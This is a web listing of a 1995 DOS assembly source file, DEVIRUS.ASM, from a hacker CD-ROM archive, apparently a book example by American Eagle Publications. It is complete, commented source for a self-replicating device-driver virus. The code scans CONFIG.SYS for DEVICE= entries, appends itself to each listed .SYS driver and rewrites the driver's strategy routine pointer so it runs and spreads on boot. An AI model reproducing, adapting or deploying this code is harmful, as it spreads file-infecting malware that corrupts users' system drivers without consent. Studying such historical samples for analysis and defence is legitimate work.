home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / DEVIRUS / DEVIRUS.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-06-27  |  9.3 KB  |  276 lines

  1. ;DEVIRUS.ASM is a simple device driver virus. When executed it infects all of
  2. ;the SYS files in CONFIG.SYS.
  3.  
  4. ;(C) 1995 American Eagle Publications, Inc., All rights reserved.
  5.  
  6. .model tiny
  7. .code
  8.  
  9.         ORG     0
  10.  
  11. HEADER:
  12.         dd      -1              ;Link to next device driver
  13.         dw      0C840H          ;Device attribute word
  14. STRTN   dw      OFFSET VIRUS    ;Pointer to strategy routine
  15. INTRTN  dw      OFFSET INTR     ;Pointer to interrupt routine
  16.         db      'DEVIRUS '       ;Device name
  17.  
  18. RHPTR   dd      ?               ;pointer to request header, filled in by DOS
  19.  
  20. ;This is the strategy routine. Typically it just takes the value passed to it
  21. ;in es:bx and stores it at RHPTR for use by the INTR procedure. This value is
  22. ;the pointer to the request header, which the device uses to determine what is
  23. ;being asked of it.
  24. STRAT:
  25.         mov     WORD PTR cs:[RHPTR],bx
  26.         mov     WORD PTR cs:[RHPTR+2],es
  27.         retf
  28.  
  29. ;This is the interrupt routine. It's called by DOS to tell the device driver
  30. ;to do something. Typical calls include reading or writing to a device,
  31. ;opening it, closing it, etc.
  32. INTR:
  33.         push    bx
  34.         push    si
  35.         push    di
  36.         push    ds
  37.         push    es
  38.         push    cs
  39.         pop     ds
  40.         les     di,[RHPTR]      ;es:di points to request header
  41.         mov     al,es:[di+2]    ;get command number
  42.  
  43.         or      al,al           ;command number 0? (Initialize device)
  44.         jnz     INTR1           ;nope, handle other commands
  45.         call    INIT            ;yes, go initialize device
  46.         jmp     INTRX           ;and exit INTR routine
  47.  
  48. INTR1:  call    NOT_IMPLEMENTED ;all other commands not implemented
  49.  
  50. INTRX:  pop     es
  51.         pop     ds
  52.         pop     di
  53.         pop     si
  54.         pop     bx
  55.         retf
  56.  
  57. ;Device initialization routine, Function 0. This just displays HELLO_MSG using
  58. ;BIOS video and then exits.
  59. INIT:
  60.         mov     si,OFFSET HELLO_MSG
  61. INITLP: lodsb
  62.         or      al,al
  63.         jz      INITX
  64.         mov     ah,0EH
  65.         int     10H
  66.         jmp     INITLP
  67. INITX:  mov     WORD PTR es:[di+14],OFFSET END_DRIVER
  68.         mov     WORD PTR es:[di+16],cs  ;indicate end of driver here
  69.         xor     ax,ax           ;zero ax to indicate success and exit
  70.         ret
  71.  
  72. HELLO_MSG       DB      'You''ve just released the DEVICE VIRUS!',0DH,0AH,7,0
  73.  
  74. ;This routine is used for all non-implemented functions.
  75. NOT_IMPLEMENTED:
  76.         xor     ax,ax           ;zero ax to indicate success and exit
  77.         ret
  78.  
  79. END_DRIVER:                     ;label to identify end of device driver
  80.  
  81. ;This code is the device driver virus itself. It opens CONFIG.SYS and
  82. ;scans it for DEVICE= statements. It takes the name after each DEVICE=
  83. ;statement and tries to infect it. When it's all done, it passes control
  84. ;back to the STRAT routine, which is what it took over to begin with.
  85. ;The virus preserves all registers.
  86. VIRUS:
  87.         push    ax
  88.         push    bx
  89.         push    cx
  90.         push    dx
  91.         push    si
  92.         push    di
  93.         push    bp
  94.         push    ds
  95.         push    es
  96.         push    cs
  97.         pop     ds
  98.         push    cs
  99.         pop     es
  100.         call    VIRUS_ADDR
  101. VIRUS_ADDR:
  102.         pop     di
  103.         sub     di,OFFSET VIRUS_ADDR
  104.         mov     ax,3D00H        ;open CONFIG.SYS in read mode
  105.         lea     dx,[di+OFFSET CSYS]
  106.         int     21H
  107.         mov     bx,ax
  108. CSL:    call    READ_LINE       ;read one line of CONFIG.SYS
  109.         jc      CCS             ;done? if so, close CONFIG.SYS
  110.         call    IS_DEVICE       ;check for device statement
  111.         jnz     CSL             ;nope, go do another line
  112.         call    INFECT_FILE     ;yes, infect the file if it needs it
  113.         jmp     CSL
  114.  
  115. CCS:    mov     ah,3EH          ;close CONFIG.SYS file
  116.         int     21H
  117.  
  118. VIREX:  mov     ax,[di+STRJMP]  ;take virus out of the STRAT loop!
  119.         mov     WORD PTR [STRTN],ax
  120.         pop     es
  121.         pop     ds
  122.         pop     bp
  123.         pop     di
  124.         pop     si
  125.         pop     dx
  126.         pop     cx
  127.         pop     bx
  128.         pop     ax
  129.         jmp     cs:[STRTN]      ;and go to STRAT routine
  130.  
  131.  
  132. ;This routine reads one line from the text file whose handle is in bx and
  133. ;puts the data read in LINEBUF as an asciiz string. It is used for reading
  134. ;the CONFIG.SYS file.
  135. READ_LINE:
  136.         lea     dx,[di + OFFSET LINEBUF]
  137. RLL:    mov     cx,1            ;read one byte from CONFIG.SYS
  138.         mov     ah,3FH
  139.         int     21H
  140.         or      al,al
  141.         jz      RLRC
  142.         mov     si,dx
  143.         inc     dx
  144.         cmp     BYTE PTR [si],0DH       ;end of line (carriage return)?
  145.         jnz     RLL
  146.         mov     BYTE PTR [si],0         ;null terminate the string
  147.         mov     cx,1                    ;read line feed
  148.         mov     ah,3FH
  149.         int     21H
  150.         or      al,al
  151.         jnz     RLR
  152. RLRC:   stc
  153. RLR:    ret
  154.  
  155.  
  156. ;This routine checks the line in LINEBUF for a DEVICE= statement. It returns
  157. ;with z set if it finds one, and it returns the name of the device driver
  158. ;as an asciiz string in the LINEBUF buffer.
  159. IS_DEVICE:
  160.         lea     si,[di+OFFSET LINEBUF]  ;look for "DEVICE="
  161.         lodsw                           ;get 2 bytes
  162.         or      ax,2020H                ;make it lower case
  163.         cmp     ax,'ed'
  164.         jnz     IDR
  165.         lodsw
  166.         or      ax,2020H
  167.         cmp     ax,'iv'
  168.         jnz     IDR
  169.         lodsw
  170.         or      ax,2020H
  171.         cmp     ax,'ec'
  172.         jnz     IDR
  173. ID1:    lodsb                           ;ok, we found "device" at start of line
  174.         cmp     al,' '                  ;kill possible spaces before '='
  175.         jz      ID1
  176.         cmp     al,'='                  ;not a space, is it '='?
  177.         jnz     IDR                     ;no, just exit
  178. ID2:    lodsb                           ;strip spaces after =
  179.         cmp     al,' '
  180.         jz      ID2                     ;loop until they're all gone
  181.         dec     si                      ;adjust pointer
  182.         mov     bp,di
  183.         lea     di,[di+OFFSET LINEBUF]  ;ok, it is a device
  184. IDL:    lodsb                           ;move file name up to LINEBUF
  185.         cmp     al,20H                  ;turn space to zero
  186.         jnz     ID3
  187.         xor     al,al
  188. ID3:    stosb
  189.         or      al,al
  190.         jnz     IDL
  191.         mov     di,bp
  192. IDR:    ret                            ;return with flags set right
  193.  
  194.  
  195. ;This routine checks the SYS file named in the LINEBUF buffer to see if it's
  196. ;infected, and it infects it if not infected.
  197. INFECT_FILE:
  198.         push    bx
  199.  
  200.         lea     dx,[di+OFFSET LINEBUF]  ;open the file at LINEBUF
  201.         mov     ax,3D02H
  202.         int     21H
  203.         mov     bx,ax
  204.  
  205.         mov     ah,3FH                  ;read 1st 10 bytes of device driver
  206.         lea     dx,[di+OFFSET FILEBUF]  ;into FILEBUF
  207.         mov     cx,10
  208.         int     21H
  209.  
  210.         cmp     [di+OFFSET FILEBUF],'ZM';watch for EXE-type drivers
  211.         je      IFCLOSE                 ;don't infect them at all
  212.  
  213.         mov     dx,WORD PTR [di+OFFSET FILEBUF+6] ;get offset of STRAT routine
  214.         xor     cx,cx
  215.         mov     ax,4200H                ;and move there in file
  216.         int     21H
  217.  
  218.         mov     cx,10                   ;read 10 bytes of STRAT routine
  219.         mov     ah,3FH
  220.         lea     dx,[di+OFFSET FILEBUF+10]
  221.         int     21H
  222.  
  223.         mov     bp,di
  224.         mov     si,di
  225.         add     si,OFFSET FILEBUF+10    ;is file infected?
  226.         add     di,OFFSET VIRUS         ;compare 10 bytes of STRAT routine
  227.         mov     cx,10                   ;with the virus
  228.         repz    cmpsb                   ;to see if they're the same
  229.         mov     di,bp
  230.         jz      IFCLOSE                 ;if infected, exit now
  231.  
  232.         mov     ax,4202H                ;seek to end of file
  233.         xor     cx,cx
  234.         xor     dx,dx
  235.         int     21H
  236.         push    ax                      ;save end of file address
  237.  
  238.         mov     ax,[di+OFFSET STRJMP]          ;save current STRJMP
  239.         push    ax
  240.         mov     ax,WORD PTR [di+OFFSET FILEBUF+6] ;and set up STRJMP for new infection
  241.         mov     [di+OFFSET STRJMP],ax
  242.  
  243.         mov     ah,40H                  ;write virus to end of file
  244.         mov     cx,OFFSET END_VIRUS - OFFSET VIRUS
  245.         lea     dx,[di+OFFSET VIRUS]
  246.         int     21H
  247.  
  248.         pop     ax                      ;restore STRJMP for this instance of
  249.         mov     [di+OFFSET STRJMP],ax             ;the virus
  250.  
  251.         mov     ax,4200H                ;seek to STRAT routine address
  252.         xor     cx,cx                   ;at offset 6 from start of file
  253.         mov     dx,6
  254.         int     21H
  255.  
  256.         pop     ax                      ;restore original end of file
  257.         mov     WORD PTR [di+OFFSET FILEBUF],ax   ;save it here for new STRAT entry point
  258.         mov     ah,40H                  ;now write new STRAT entry point
  259.         lea     dx,[di+OFFSET FILEBUF]       ;to file being infected
  260.         mov     cx,2
  261.         int     21H
  262.  
  263. IFCLOSE:mov     ah,3EH                  ;close the file
  264.         int     21H
  265.         pop     bx                      ;and exit
  266.         ret
  267.  
  268. STRJMP  DW      OFFSET STRAT
  269. CSYS    DB      '\CONFIG.SYS',0
  270. LINEBUF DB      129 dup (0)
  271. FILEBUF DB      20 dup (0)
  272.  
  273. END_VIRUS:
  274.  
  275.         END     STRAT
  276.